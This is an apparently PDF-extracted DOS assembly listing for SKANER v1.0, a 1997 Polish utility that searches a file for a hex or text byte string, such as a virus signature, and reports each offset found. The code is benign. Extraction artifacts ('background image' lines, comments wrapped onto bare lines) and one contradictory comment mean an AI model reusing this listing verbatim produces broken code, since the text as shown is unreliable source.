; _ 'abc'80C5'def'EE F6 - szuka lancucha "abcÃ+def_¸" ;
; _ Maksymalna dlugosc wyszukiwanego ciagu = 128 bajtow. ;
; _ Dlugosc jednorazowo odczytywanych danych z pliku = 65024 bajtow ;
; 65024=512*127=127 sektorow, 512 bajtowych ;
; _ Maksymalna ilosc zliczanych wystapien ciagu = 2^32 razy ;
; _ Pliki z atrybutami Hidden, System przed odczytem maja zmieniany atrybut ;
; na Archive; po skonczeniu programu przywracany jest oryginalny atrybut ;
; _ Procedura obslugi INT 24h <dialog ARIF-Abort,Retry,Ignore,Fail> ;
; zastapiona zostala sekwencja sygnalizujaca blad programowi ;
; _ Wyszukiwane sa wszystkie mozliwe wystapenia ciagu ;
; (takze zachodzace na siebie) ;
; ;
;----------------------------------------------------------------------------;

;-------------------------------------------------------------------
; Definicje Stalych
;-------------------------------------------------------------------
JUMPS
;stale logiczne
Falsz equ 00h ; \ definicja dwoch stalych logicznych
Prawda equ Falsz+1 ; / 0=Falsz i 1=Prawda
; stale ogolne
RozmiarStosu equ 128 ; rozmiar stosu w slowach dwubajtowych
RozmiarCiagu equ 128 ; rozmiar bufora na wyszukiwany ciag
RozmiarBuforaDanych equ 127*512 ; rozmiar bufora na dane = segment
64K-512
DlugNazwyPliku equ 128 ; dlugosc pelnej nazwy pliku
LiniaPolecen equ 80h ; adres (w PSP) do parametrow
; stale znakowe
ZnakTabulacji equ 09h ; \
ZnakSpacji equ ' ' ; \
ZnakKoncaLinii equ 0Dh ; - stale znakowe
CR equ 0Dh ; /
LF equ 0Ah ; /
; stale bledow

background image

; na ich podstawie nastepuje obliczenie ofsetu komunikatu o bledzie
BlBezBledu equ 00h ; nie ma bledu
BlBrakParametrow equ 01h ; blad : nie ma parametrow
BlBrakNazwyPliku equ 02h ; blad : brak nazwy pliku w parametrach
BlBrakCiagu equ 03h ; blad : brak ciagu do wyszukania
BlZlyCiag equ 04h ; blad : ciag zawiera bledy
BlBrakPlikuNaDysku equ 05h ; blad : brak pliku podanego jako parametr
BlBlad_ARIF equ 06h ; blad : brak dostepu do pliku (int 24h)
BlZlyAtrybutPliku equ 07h ; blad : nie plik tylko etykieta dysku lub
katalog
BlBrakDostepuDoPliku equ 08h ; blad : nie mozna zmienic atrybutow na
archive
BlNieMogeOtworzyc equ 09h ; blad : nie moge otworzyc pliku
BlNieMogeCzytac equ 0Ah ; blad : nie moge czytac pliku
BlNieMogeZamknac equ 0Bh ; blad : nie moge zamknac pliku
BlPlikZaKrotki equ 0Ch ; blad : plik krotszy niz dlugosc ciagu
; stale drukowania wrostkow
; 7 bit=1 wywolaj procedure konwersji, ktorej adres w [si+1]
; 7 bit=0 wyswietl tekst, ktorego adres jest pod [si+1]
DrPlik equ 01h ; stala dla wrostka NazwaPliku
DrCiag equ 02h ; stala dla wrostka Ciag
DrUnIntDec equ 83h ; stala dla wrostka - liczby bez znaku typu Int
(dziesietne)
DrUnIntHex equ 84h ; stala dla wrostka - liczby bez znaku typu Int
(szesnastkowo)
IleWrostkow equ 04h ; ile maksymalnie wrostkow
; stale DOS-owe
TrybOtwarciaPliku equ 00000000b ; oznacza otwarcie pliku tylko do
odczytu

AtReadOnly equ 00000001b ;\
AtHidden equ 00000010b ; \
AtSystem equ 00000100b ; \
AtVolumeID equ 00001000b ; - atrybuty pozycji katalogu
AtDirectory equ 00010000b ; /
AtArchive equ 00100000b ; /
AtAll equ 00111111b ; /
; definicja bufora DTA (Disk Transfer Area)
DTA_STRUC struc ; struktura potrzebna dla funkcji
NieWazne db 21 dup(?) ; 4E i 4F sluzacych do poszukiwania
Atrybut db ? ; pierwszego (4E) i nastepnego (4F)
Czas dw ? ; wystapienia w katalogu (pliku, katalogu,itp.)
Data dw ? ; opisuje wszystkie parametry pliku
Dlugosc dd ? ; zawarte w FAT z wyjatkiem pierwszego numeru
JAP
Nazwa db 13 dup(?)
DTA_STRUC ends

background image

;-------------------------------------------------------------------
; Segment Kodu
;-------------------------------------------------------------------
SKANER SEGMENT

ASSUME CS:SKANER, ds:SKANER

Start: ; poczatek programu
Call UstawParametrySystemu ; ustaw DS+nowe (DTA i int 24h)

mov si,Offset TeCopyRight ;
Call DrukLn ; wyswietl komunikat o programie

Call CzytajParametry ; Wez z PSP:80h parametry : Plik+Ciag
jc Blad ; gdy CF=1, to blad

Call SprawdzPlik ; czy plik istnieje ?
jc blad

Call SzukajLancuch ; Szukaj lancucha w pliku
jc Blad

mov NumerBledu,BlBezBledu ; wszystko OK !

Blad: ; skacz tu, jesli jakis blad
Call PrzywrocParametrySystemu ; stare DTA+INT 24h

Call OstatniKomunikat ; zwraca 0=bez bledu lub FF=blad

mov ah, 4Ch ; funkcja powrotu do systemu DOS
int 21h ; wywolaj funkcje

;-------------------------------------------------------------------
OstatniKomunikat proc near ; wyswietla komunikat na koncu programu
pushf ; zachowaj znaczniki, potrzebne pozniej

mov ax,seg SKANER
mov ds,ax ; DS=segment danych

mov al, NumerBledu ; al=numer bledu
cbw ; ax=numer bledu
shl ax,1 ; ax=ax*2, bo kazdy ofset=2 bajty
add ax,Offset OffsetyKomunikatow ; ax=tablica z adresami komunikatow
bledow
xchg ax,bx ; bx=tablica z adresami komunikatow bledow
; [bx]=tablica[blad]

background image

mov si,[bx] ; dx=offset do komunikatu o bledzie (lub 'OK')
Call DrukLn ; wypisz komunikat

popf ; przywroc znaczniki

mov al,0 ; w al przekaz kod bledu, 0=bez bledu
sbb al,0 ; jezeli blad, to al=FF

ret
OstatniKomunikat endp

;-------------------------------------------------------------------
SzukajLancuch proc near ; otwiera plik i szuka zadany ciag
; w calym pliku
mov ax,seg ProgDTA ; ustaw ES na segment, do ktorego beda
mov es,ax ; wczytywane dane =127 sektorow

mov ax,word ptr [BufDTA.Dlugosc] ; -DX:AX = dlugosc pliku
mov dx,word ptr [BufDTA.Dlugosc+2] ; /
or dx,dx ; czy b. znacz. czesc dlugosci =0
jnz DlugiPlik ; nie -> dlugosc<>0
cmp ax,DlugoscCiagu ; b. znacz. czesc=0, czy mniej znacz. czesc
jae DlugiPlik ; dlugosci > dlugosc ciagu
mov NumerBledu,BlPlikZaKrotki ; Blad : plik krotszy od ciagu !
jmp short NieMogeOtworzyc ; wyswietl blad
DlugiPlik:
mov si,offset TeSzukamCiagu ; wyswietl informacje o szukaniu
Call DrukLn ; lancuchu w pliku

mov NumerBledu,BlNieMogeOtworzyc ; ewentualny numer bledu
mov dx,Offset NazwaPliku ; nazwa pliku w DS:DX, tryb dostepu w AL
mov ax,3D00h+TrybOtwarciaPliku ; funkcja DOS - otworz plik
int 21h ; DOS : otworz plik
jc NieMogeOtworzyc ; CF=1 -> blad

xchg ax,bx ; BX=uchwyt pliku

Call CzytajSzukaj ; szukaj lancucha w calym pliku
jc NieMogeOtworzyc

mov ah,3Eh ; zamknij plik
int 21h ;

mov ax,word ptr [IleZnalezionych] ; wyswietl, ile razy ciag
mov dx,word ptr [IleZnalezionych+2] ; wystapil w pliku
mov si, offset TeZnalazlem
or dx,dx ; \ sprawdz, czy przynajmniej

background image

jnz CosZnalazl ; \ raz, jak ani razu to
or ax,ax ; / inny komunikat
jnz CosZnalazl ; /
mov si, offset TeNieZnalazlem
CosZnalazl:
Call DrukLn ; wyswietl komunikat spod DS:SI
clc ; nie ma bledu

NieMogeOtworzyc:
ret ; powrot z procedury
SzukajLancuch endp

;-------------------------------------------------------------------
CzytajSzukaj proc near ; czytaj w pliku i szukaj lancuch
; na wejsciu numer pliku w BX
xor ax,ax ; \
mov word ptr [IleZnalezionych] ,ax ; \
mov word ptr [IleZnalezionych+2],ax ; - wyzeruj zmienne
mov word ptr [AdresCzytania],ax ; /
mov word ptr [AdresCzytania+2],ax ; /
mov NumerBledu,BlNieMogeCzytac ; ewent. blad
xor bp,bp ; BP oznacza odstep od poczatku bufora,
; pod ktory wczytujemy dane, na poczatku=0
dec DlugoscCiagu ; zmniejsz o 1 dlugosc ciagu potrzebne
; w pozniejszej operacji porownania
cld ; w oper. lancuchowych INC(SI,DI)

CzytajDoBufora: ; petla glowna
push ds ; zachowaj DS na stosie

mov ax,es
mov ds,ax ; DS=ES=segment na dane z pliku

mov cx,RozmiarBuforaDanych ; ile czytac danych
mov dx,offset BuforDanych ; DS:DX = tu wczytuj dane
add dx,bp ; dodaj dlug. danych, ktore zostaly z poprz. odczytu
mov ah,3Fh ; DOS : funkcja czytania
int 21h ; DOS : wykonaj funkcje

pop ds ; przywroc DS
jc NieMogeCzytac ; gdy CF=1, to blad

add word ptr [AdresCzytania],ax ; \dodaj do pozycji odczytu ilosc
adc word ptr [AdresCzytania+2],0 ; /odczytanaych bajtow
mov [Przeczytane],ax

add ax,bp ; \do ilosci odczytanych bajtow dodaj dlugosc

background image

danych
; /pozostalych z poprzedniego odczytu

cmp ax,DlugoscCiagu ; \ ax=dlugosc danych do porownania
jb KoniecPliku ; - jesli mniej niz ciag, to nie trzeba porownywac
; / bo i tak ciag sie nie znajdzie
xchg ax,cx ; cx=dlugosc danych do porownania
push cx ; zachowaj do pozniejszego porownania
mov di,offset BuforDanych ; poczatek danych
SzukajPierwszej:
mov si,Offset Ciag ; ofset do wyszukiwanego ciagu
lodsb ; al=pierwsza litera ciagu, INC(SI)
repnz scasb ; szukaj, az znajdzie w danych pierwsza litere
jnz NieMaPierwszej ; jesli nie znalazl, to czytaj dalej z pliku

cmp cx,DlugoscCiagu ; czy wystarczy danych w buforze do
porownania ?
jae PorownajCaly ; jest co najmniej tyle lub wiecej to OK
inc cx ; - za malo danych
dec di ; - cofnij DI,CX na poprzednie wartosci
mov si,di ; - skopiuj koncowke bufora na poczatek
mov di,offset BuforDanych ; - zachowaj w BP dlugosc tej koncowki
mov bp,cx ; - w nastepnym odczycie dane wczytane
rep movs byte ptr es:[di],es:[si] ; - umieszczone beda za ta koncowka

jmp short NieMaPierwszej ; - a porownywanie sie powtorzy, ale teraz
beda dane
PorownajCaly: ; - do porownania, po skoku czytaj dalej dane
push cx ;
push di ; zachowaj aktualna pozycje w buforze i licznik
mov cx,DlugoscCiagu ; dokladniej : dlugosc ciagu-1 bo nie musimy
porownywac
; pierwszej litery, ktora juz byla sprawdzona
jcxz JednoLiterowy ; jesli CX=0, to ciag byl jednoliterowy
rep cmpsb ; porownaj cx bajtow
jne NieMaLancucha ; jesli ZF=0, nie znalazl ciagu
JednoLiterowy:
mov ax,word ptr [AdresCzytania] ; DX:AX=32 bitowa pozycja odczytu pliku
mov dx,word ptr [AdresCzytania+2]
sub ax,[Przeczytane]
sbb dx,0
sub ax,bp
sbb dx,0
pop di ; przywroc odleglosc od poczatku bufora
push di ; zachowaj di
dec di ; zmniejsz wskaznik, zeby wskazywal na pierwsza
litere

background image

add ax,di
adc dx,0 ; dodawanie 32 bitowe
; DX:AX = adres fizyczny wzgledem pocz. pliku
mov word ptr [AdresZnalezienia],ax ; -zapamietaj ten adres w zmiennej, bo
procedura
mov word ptr [AdresZnalezienia+2],dx; /konwersji korzysta z ofsetu do
zmiennej, zeby ja wyswietlic
mov si,offset TeZnalezionyNaPozycji ; -wyswietl tekst ze znalazl
Call DrukLn ; /adres : wyswietl szesnastkowo i dziesiatkowo
add word ptr [IleZnalezionych],1 ; -zwieksz 32 bitowy licznik wystapien
adc word ptr [IleZnalezionych+2],0 ; /dodaj ewentualne przeniesienie z 15 na
16 bit
NieMaLancucha:
pop di ;
pop cx ; przywroc aktualna pozycje w buforze+licznik
jcxz NieMaPierwszej ; czy juz caly bufor pusty ?
; xor bp,bp ; zeruj dlugosc koncowki
jmp short SzukajPierwszej ; skocz i szukaj nastepnego wystapienia
NieMaPierwszej:
pop ax ; zdejmij ilosc odczytanych danych ze stosu
cmp ax,RozmiarBuforaDanych ; i porownaj, czy tyle ile bylo
wczytywanych
jb KoniecPliku ; jesli nie tyle samo, to koniec pliku
; jesli tyle samo, to czytaj dalej
jmp CzytajDoBufora ; skocz i czytaj dalej dane

KoniecPliku: ; dane sie skonczyly
clc ; nie ma bledu
NieMogeCzytac:
ret ; wroc z procedury
CzytajSzukaj endp

;-------------------------------------------------------------------
PrzywrocParametrySystemu proc near ; przywraca stare adresy DTA+Int 24h
; i ewentualnie atrybuty pliku
; (jezeli sytemowy, ukryty)
pushf ; zachowaj flagi z ew. bledem
cmp ZmienAtrPliku,Prawda ; czy przywrocic atrybut ?
jne NiePrzywracajAtrybutu ; skocz jesli nie
mov ax,4301h ; DOS: funkcja 43xxh wez(xx=0)/ustaw(xx=1) atr.
pliku
xor ch,ch ; ch=0
mov cl,[BufDTA.Atrybut] ; cx=stare atrybuty
mov dx,Offset NazwaPliku ; DS:DX =nazwa pliku
int 21h ; DOS : zmien atrybuty

NiePrzywracajAtrybutu:

background image

push ds ; zachowaj segment danych
push ds ; 2 razy -> na pozniej

lds dx,dword ptr [StareI24Ofs] ; przywroc stara obsluge bledow
mov ax,2524h ; ustaw Int 24h
int 21h ; funkcja 25h - ustaw wektor (numer w AL)
pop ds ; przywroc segment danych

lds dx,dword ptr [StareDTAOfs] ; przywroc stare DTA
mov ah,1Ah ; funkcja 1Ah - ustaw DTA
int 21h ; wywolaj funkcje
pop ds ; przywroc segment danych

popf ; przywroc znaczniki z ew. bledem
ret ; powrot z procedury
PrzywrocParametrySystemu endp

;-------------------------------------------------------------------
UstawParametrySystemu proc near ; ustaw obsluge przerwania 24h
; nowy bufor DTA
mov ax,seg SKANER
mov ds,ax ; DS=segment danych
mov MojAdresPSP,es ; zachowaj PSP

mov ax,3524h ; funkcja wez adres przerwania (num. w AL)
int 21h ; wez stare INT 24h do rejestrow ES:BX
mov StareI24Ofs,bx ; - zachowaj stare przerwanie
mov StareI24Seg,es ; / ES=segment, BX=offset

mov ah,2Fh ; wez stare DTA do rejestrow ES:BX
int 21h
mov StareDTAOfs,bx
mov StareDTASeg,es ; ES=segment, BX=ofset

mov dx,Offset BufDTA
mov ah,1Ah ; ustaw nowe DTA na adres zawarty w DS:DX
int 21h

push ds ; zachowaj DS
push cs ; -DS=CS
pop ds ; /
mov dx,offset NoweInt24 ; ustaw nowe przerwanie 24h
mov ax,2524h ; w DS:DX
int 21h
pop ds ; przywroc DS

background image

ret ; powrot z procedury
UstawParametrySystemu endp

;-------------------------------------------------------------------
NoweInt24 proc near ; procedura obslugi przerwania programowego
bledow
; krytycznych wywolywana przez DOS w razie bledu
push ds ; \
push ax ; -zachowaj DS i AX
mov ax,seg SKANER
mov ds,ax ; ds=segment danych
mov NumerBledu,BlBlad_ARIF ; zachowaj numer bledu
pop ax ; \
pop ds ; -przywroc DS i AX

mov al,3 ; pomin blad-program sam zadecyduje co dalej

iret ; nie wywoluj standardowego dialogu ARIF
NoweInt24 endp ; powrot z procedury obslugi przerwania
programowego

;-------------------------------------------------------------------
SprawdzPlik proc near ; szukaj plik podany jako parametr

mov ZmienAtrPliku,Falsz ; na razie nie znamy atrybutow, wiec nie
trzeba
; przywracac oryginalnych
mov NumerBledu,BlBrakPlikuNaDysku ; ustaw ew. numer bledu

mov ah,4Eh ; funkcja szukaj pozycji katalogu
mov dx,offset NazwaPliku ; DS:DX nazwa pliku
mov cx,AtAll ; w CX podaj atrybut szukanej pozycji
int 21h ; wywolaj funkcje
jc NieMaPliku ; gdy CF=1, to blad

mov si,offset BufDTA ; nie ma bledu , info o pliku jest w buforze DTA
mov al,[BufDTA.Atrybut] ; wez atrybut pliku
mov NumerBledu,BlZlyAtrybutPliku ; ewent. blad
test al,AtVolumeID+AtDirectory ; sprawdz, czy etykieta lub katalog (testuj
bity)
stc ; ustaw ewent. blad
jnz NieMaPliku ; skocz, bo etykieta lub dysk

test al,AtHidden+AtSystem ; testuj bity : ukryty lub system
mov NumerBledu,BlBrakDostepuDoPliku ; ewent. blad
jz NieZmienAtr ; nie sa ustawione, to skocz dalej

background image

mov ZmienAtrPliku,Prawda ; trzeba zmienic atrybut, zeby mozna bylo
odczytac
mov ax,4301h ; funkcja ustaw atrybut pliku
mov cx,AtArchive ; cx=atrybyt jaki ustawic
mov dx,Offset NazwaPliku ; DS:DX nazwa pliku
int 21h ; wywolaj funkcje
jc NieMaPliku ; gdy CF=1, to blad
NieZmienAtr:
clc ; nie ma bledu, plik gotowy do odczytu
NieMaPliku:
ret ; wroc z procedury
SprawdzPlik endp

;-------------------------------------------------------------------
CzytajParametry proc near ; wez parametry z PSP:80h
push ds ; zachowaj DS

mov ax,ds ; ES=DS=segment z danymi
mov es,ax

mov ds,MojAdresPSP ; DS=blok PSP

mov si,LiniaPolecen ; ofset w PSP do linii polecen
mov es:NumerBledu,BlBrakParametrow ; ewentualny numer bledu

cmp byte ptr ds:[si],0 ; dlugosc linii polecen
je BladParametrow ; jezeli pusta, to nie ma parametrow

inc si ; pomin licznik
inc si ; pomin spacje
cld ; INC(SI,DI) w oper. na lancuchach

Call OpuscSpacje ; czytaj az znak <> SPACJA lub TAB

mov es:NumerBledu,BlBrakNazwyPliku ; ewentualny numer bledu
cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ?
je BladParametrow ;- jesli tak, to powrot z procedury

mov di, offset NazwaPliku ; es:di : tu zapisz wyniki
Call KopiujDoSpacji ; kopiuj nazwe pliku

mov es:NumerBledu,BlBrakCiagu ; ewentualny numer bledu

cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ?
je BladParametrow ;- jesli tak, to powrot z procedury

xor al,al ; plik ASCIIZ, wiec dodaj zero

background image

stosb

Call OpuscSpacje ; czytaj az znak <>SPACJA lub TAB
cmp al,ZnakKoncaLinii ; czy koniec parametrow
je BladParametrow ; jesli tak, to blad

mov es:NumerBledu,BlZlyCiag ; ewentualny numer bledu
mov di, offset Ciag ; es:di : tu zapisz ciag
Call KopiujCiagDoKonca ; kopiuj parametr : ciag
jc BladParametrow ; jesli TAK, to blad

mov ax,di
sub ax,offset Ciag
jz BladParametrow ; jesli TAK, to lancuch pusty
mov es:DlugoscCiagu ,ax ; - zachowaj dlugosc ciagu
mov es:AbsDlugoscCiagu ,ax ; - zachowaj 2-i raz dlugosc ciagu

clc ; nie ma bledu
jmp short $+3 ; skocz i pomin rozkaz STC
BladParametrow:
stc ; jest blad
pop ds
ret ; wroc z procedury
CzytajParametry endp

;-------------------------------------------------------------------
OpuscSpacje proc near

lodsb ; czytaj znak z ds:[si], inc si
cmp al,ZnakSpacji ;\
je OpuscSpacje ; \ czy spacja lub znak tabulacji ?
cmp al,ZnakTabulacji ; / jezeli tak, to czytaj nastepny znak
je OpuscSpacje ;/
dec si ; zmniejsz wskaznik na poprzedni znak

ret ; powroc z procedury

OpuscSpacje endp
;-------------------------------------------------------------------
KopiujDoSpacji proc near
KopiujZnak:
lodsb ; czytaj znak z ds:[si], inc si
cmp al,ZnakSpacji ;\
je NieKopiuj ; \ czy spacja lub znak tabulacji
cmp al,ZnakTabulacji ; \lub koniec linii polecen
je NieKopiuj ; /jezeli tak, to koncz kopiowanie
cmp al,ZnakKoncaLinii ; /

background image

je NieKopiuj ;/
stosb ; skopiuj znak
jmp short KopiujZnak ; skocz i wez nastepny znak
NieKopiuj:
dec si ; zmniejsz wskaznik na poprzedni znak

ret ; powroc z procedury

KopiujDoSpacji endp

;-------------------------------------------------------------------
KopiujCiagDoKonca proc

Pa_Nic = 00
Pa_Apostrof = 01

mov bl,Pa_Nic ; nie bylo znaku specjalnego
mov bh,0
KopiujParamZnak:
lodsb ; czytaj znak z ds:[si], inc si

cmp bl,Pa_Apostrof ; czy tekst w apostrofach ?
jne ZwyklyTekst ; NIE - dane heksalne

cmp al,39 ; czy znak apostrofu ?
jne NieKoniecTekstu ; Nie - idz dalej

mov bl,Pa_Nic ; koniec tekstu w apostrofach
jmp KopiujParamZnak ; idz po kolejny znak

NieKoniecTekstu:
stosb ; kopiuj zwykly tekst
jmp KopiujParamZnak ; wez kolejny znak

ZwyklyTekst:
cmp al,39 ; czy apostrof poczatkowy
jne NiePoczatektekstu ; NIE - sprawdzaj dalej

mov bl,Pa_Apostrof ; ustaw flage
jmp KopiujParamZnak ; idz po nastepny znak
NiePoczatektekstu:
cmp al,ZnakKoncaLinii ; \ pomin, gdy znak=CR
je KoniecParamTekstu ; /

cmp al,ZnakSpacji ; \ pomin, gdy znak=spacja
je KopiujParamZnak ; /

background image

cmp al,ZnakTabulacji ; \ pomin, gdy znak=TAB
je KopiujParamZnak ; /

cmp al,'0' ; czy znak >=0 ?
jb KoniecParamTekstuBlad ; < blad

cmp al,'9' ; czy znak 0..9 ?
jbe ToCyfra09 ; TAK - cyfra

and al,0DFh ; 'a'..'z'->'A'..'Z'

cmp al,'A' ; czy znak <'A' ?
jb KoniecParamTekstuBlad ; TAK - blad

cmp al,'F' ; czy znak >'F' ?
ja KoniecParamTekstuBlad ; TAK - blad
; znak '0'..'F'
ToCyfra09:
cmp bh,0 ; czy licznik znakow=0 ?
je ToPierwszyZnak ; TAK - zachowaj znak na pozniej

cmp al,'9' ; czy znak to cyfra ?
jbe ALJest09 ;
sub al,'A'-'0'-10 ; konwertuj na liczbe
ALJest09:
cmp ah,'9' ; czy drugi znak to cyfra ?
jbe AHJest09
sub ah,'A'-'0'-10 ; konwertuj na liczbe
AHJest09:

sub ax,'00' ; \
mov bh,al ; \ konwersja liczby
mov al,16 ; \ heksalnej zapisanej
mul ah ; / jako lancuch, na zwykla
add al,bh ; / liczbe (znak ASCII)
stosb ; / i zapisz znak
mov bh,0 ; licznik znakow znow=0
mov bl,Pa_Nic ; "czyste" wyjscie
jmp KopiujParamZnak ; wez nastepny znak

ToPierwszyZnak:
mov ah,al ; zachowaj pierwszy znak liczby
mov bh,1 ; jest juz jeden znak
jmp KopiujParamZnak ; idz po nastepny znak

KoniecParamTekstu:
cmp bx,Pa_Nic ; czy "czyste" wyjscie ?

background image

je KoniecParamTekstu2 ; jezeli nie, to blad

dec si ; zmniejsz wskaznik na poprzedni znak
KoniecParamTekstuBlad:
stc ; gdy CF=1, to nie ma bledu
jmp $+3 ; przeskocz 'CLC'
KoniecParamTekstu2:
clc ; gdy CF=0, to nie ma bledu
ret ; powrot z procedury

KopiujCiagDoKonca endp

;-------------------------------------------------------------------
DrukLn proc near ; drukowanie tekstu ACSIIZ spod DS:SI
; z przejsciem do nastepnej linii
Call Druk ; wydrukuj tekst
push si ; \
mov si,Offset TeCRLF ; \
Call Druk ; \
pop si ; --- przejdz do nastepnej linii

ret ; powrot z procedury

DrukLn endp

;-------------------------------------------------------------------
Druk proc near ; drukowanie tekstu ACSIIZ spod DS:SI

push ax ; \
push bx ; \
push cx ; \
push si ; --- zachowaj zmieniane rejestry

DrukZnak: ; petla drukowania jednego znaku
cmp si,offset CiagStart ; \
jb ToNieParamtekst ; \ jezeli drukowany jest
cmp si,offset CiagKoniec ; \ w obszarsze lancucha 'CiagBajtow'
jae ToNieParamtekst ; \ to pozwol drukowac kazdy znak
mov cx,AbsDlugoscCiagu ; \
add cx,offset CiagStart ; /
cmp si,cx ; /
jae KoniecDruku ; /
lodsb ; /
jmp short ToParamtekst ; /
ToNieParamtekst:
lodsb ; wez kolejny znak z lancucha

background image

or al,al ; sprawdz, czy ostatni znak ?
jz KoniecDruku ; jesli tak, to wszystko wydrukowane

mov cx,IleWrostkow ; Ile zdefiniowanych wrostkow
mov bx,Offset TablicaWrostkow ; tablica z definicjami

SzukajWrostka: ; -sprawdz, czy al nie oznacza wrostka
cmp ds:[bx],al ; /
jne NastepnyWrostek ; jesli nie, to sprawdz nastepny w tablicy
test al,80h ; czy 7 bit ustawiony ?
jz NormalnyDruk ; nie - to ofset do tekstu
Call ds:[bx+1] ; tak - to procedura konwersji
xor al,al ; zeruj dla pozniejszego porownania
inc si ; - pomin ofset do liczby do konwrsji
inc si ; /
jmp short NastepnyWrostek ; sprawdz nastepny wrostek w tablicy
NormalnyDruk:
push si ; wrostek to tekst spod ofsetu w tablicy
mov si,ds:[bx+1] ; wrostkow
Call Druk ; wyswietl wrostek
pop si
xor al,al ; zeruj dla pozniejszego porownania
NastepnyWrostek:
add bx,3 ; zwieksz index do tablicy wrostkow
loop SzukajWrostka ; powtorz cx razy

or al,al ; czy to byl wrostek (al=0) ?
jz DrukZnak ; jesli tak, to wez nastepny znak

ToParamtekst:
mov ah,02h ; wyprowadz znak na
mov dl,al ; standardowe wyjscie DOSa
int 21h

jmp short DrukZnak ; skocz i wez nastepny znak lancucha
KoniecDruku:
pop si ; --- przywroc zmienione rejestry
pop cx ; /
pop bx ; /
pop ax ; /

ret ; wracaj

Druk endp
;-------------------------------------------------------------------

Bin2HexUnInt32 proc near ; procedura wyswietla 32 bitowa liczbe

background image

szesnastkowa
; ofset do liczby znajduje sie w si
push ax ; \
push bx ; \
push dx ; \
push si ; --- zachowaj zmieniane rejestry

mov bx,[si] ; wez ofset do liczby 32 bitowej
mov ax,[bx] ; - wczytaj liczbe do DX:AX
mov dx,[bx+2] ; /
mov si,offset Hex2DecBufor ; ustaw na poczatek bufora
mov bx,offset HexChars ; wez ofset do tablicy z cyframi
szesnastkowymi

push ax ; zapamietaj mniej znacz. slowo
mov ax,dx ; najpierw bar. znacz. slowo
Call Bin2HexUnInt16 ; konwertuj liczbe 16 bitowa
pop ax ; przywroc mniej znacz. slowo

Call Bin2HexUnInt16 ; terax mniej znacz. slowo

mov word ptr [si],'h' ; ustaw na koncu znak 'h' i 0

mov si,offset Hex2DecBufor ; - wyswietl liczbe
Call Druk ; /

pop si ; --- przywroc zmienione rejestry
pop dx ; /
pop bx ; /
pop ax ; /

ret ; powrot

Bin2HexUnInt16: ; wewnetrzna procedura wywoluje "zstepujaco"
; kolejne nizsze ranga procedury konwersji
push ax
mov al,ah ; konwertuj b. znacz. czesc AX
Call Bin2HexUnInt8
pop ax ; konwertuj m. znacz. czesc AX
Bin2HexUnInt8: mov ah,al
shr al,1 ; \
shr al,1 ; \ wyizoluj 4 bity (4..7)
shr al,1 ; / al=gorna polowa liczby
shr al,1 ; / szesnastkowej
Call Bin2HexUnInt4 ; konwertuj b. znacz. bity (4..7)
mov al,ah

background image

and al,15 ; wyizoluj 4 bity (0..3)
Bin2HexUnInt4:
xlatb ; al=byte ptr ds:[bx+al]
mov [si],al ; zachowaj znak w buforze
inc si ; zwieksz indeks
ret ; powrot z wen. procedury

Bin2HexUnInt32 endp

;-------------------------------------------------------------------
Bin2DecUnInt32 proc near ; wyswietla liczbe 32 bitowa bez znaku
dziesietnie

push ax ; \
push bx ; \
push dx ; \
push si ; --- zachowaj zmieniane rejestry

mov si,[si] ; wez ofset do liczby 32 bitowej
mov ax,[si] ; - wczytaj liczbe do DX:AX
mov dx,[si+2] ; /
mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od
konca
mov byte ptr ds:[si],0 ; utworz ASCIIZ (dodaj zero na koncu)
DzielPrzez10:
mov bx,10 ; dziel DX:AX przez BX
Call Dziel32 ; w bx reszta z dzielenia
add bl,'0' ; dodaj ASCII "0"
dec si ; zmniejsz indeks do tablicy
mov byte ptr ds:[si],bl ; zapisz cyfre
or dx,dx ; \
jnz DzielPrzez10 ; \
or ax,ax ; \
jnz DzielPrzez10 ; --- czy liczba jest juz 0 ?

Call Druk ; wyswietl lancuch z liczba po konwersji

pop si ; --- przywroc zmienione rejestry
pop dx ; /
pop bx ; /
pop ax ; /

ret ; powrot

Bin2DecUnInt32 endp

;-------------------------------------------------------------------

background image

Dziel32 proc near ; dziel (dx:ax)/bx

push bp ; zachowaj bp
push ax ; zachowaj mniejsza czesc liczby 32 bitowej
mov ax,dx ; przenies b. znacz. czesc do mniej. znacz.
xor dx,dx ; i wyzeruj dx , dx:ax = > 0:dx
div bx ; podziel (0:dx)/bx
mov bp,ax ; calosc z dzielenia, to wieksza czesc wyniku
pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku
div bx ; dx jest reszta z dzielenia b. znacz. czesci przez BX
mov bx,dx ; w bx reszta z dzielenia
mov dx,bp ; dx:ax=liczba podzielona przez bx,
pop bp ; a w bx reszta z dzielenia
ret

Dziel32 endp

;-------------------------------------------------------------------
; (teksty komunikatow+zmienne ogolne)
;-------------------------------------------------------------------
TeCopyRight db CR,LF,'SKANER v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,' Wywolanie: SKANER NazwaPliku CiagBajtow'
db CR,LF
db CR,LF,' CiagBajtow moze skladac sie z liczb zapisanych heksalnie
lub zwyklego'
db CR,LF,' tekstu np: '
db CR,LF,' _ CD 21 - szuka wywolania przerwania 21h'
db CR,LF,' _ ''wirus'' - szuka slowa "wirus"'
db CR,LF,' _ ''abc''80C5''def''EE F6 - szuka lancucha "abcÃ+def_¸"'
TeCRLF db CR,LF,0
TeSzukamCiagu db 'Szukam lancuch "',DrCiag ,'" w pliku "',DrPlik,'"',0
TeBezBledu db 'OK !',0
TeBrakParametrow db 'BLAD : Podaj Parametry !',0
TeBrakNazwyPliku db 'BLAD : Podaj nazwe pliku !',0
TeBrakCiagu db 'BLAD : Podaj ciag do wyszukania',0
TeZlyCiag db 'BLAD : Podany ciag zawiera bledy !',0
TeBrakPlikuNaDysku db 'BLAD : Nie moge znalezc pliku "',DrPlik,'"',0
TeBlad_ARIF db 'BLAD : Brak dostepu do pliku "',DrPlik,'" (int 24h) !',0
TeZlyAtrybutPliku db 'BLAD : "',DrPlik,'" to etykieta dysku lub katalog !',0
TeBrakDostepuDoPliku db 'BLAD : Brak dostepu do pliku - nie mozna chwilowo
zmienic atrybutow ! ',0
TeNieMogeOtworzyc db 'BLAD : Nie moge otworzyc pliku "',DrPlik,'"',0
TeNieMogeCzytac db 'BLAD : Nie moge czytac pliku "',DrPlik,'"',0
TeNieMogeZamknac db 'BLAD : Nie moge zamknac pliku "',DrPlik,'"',0
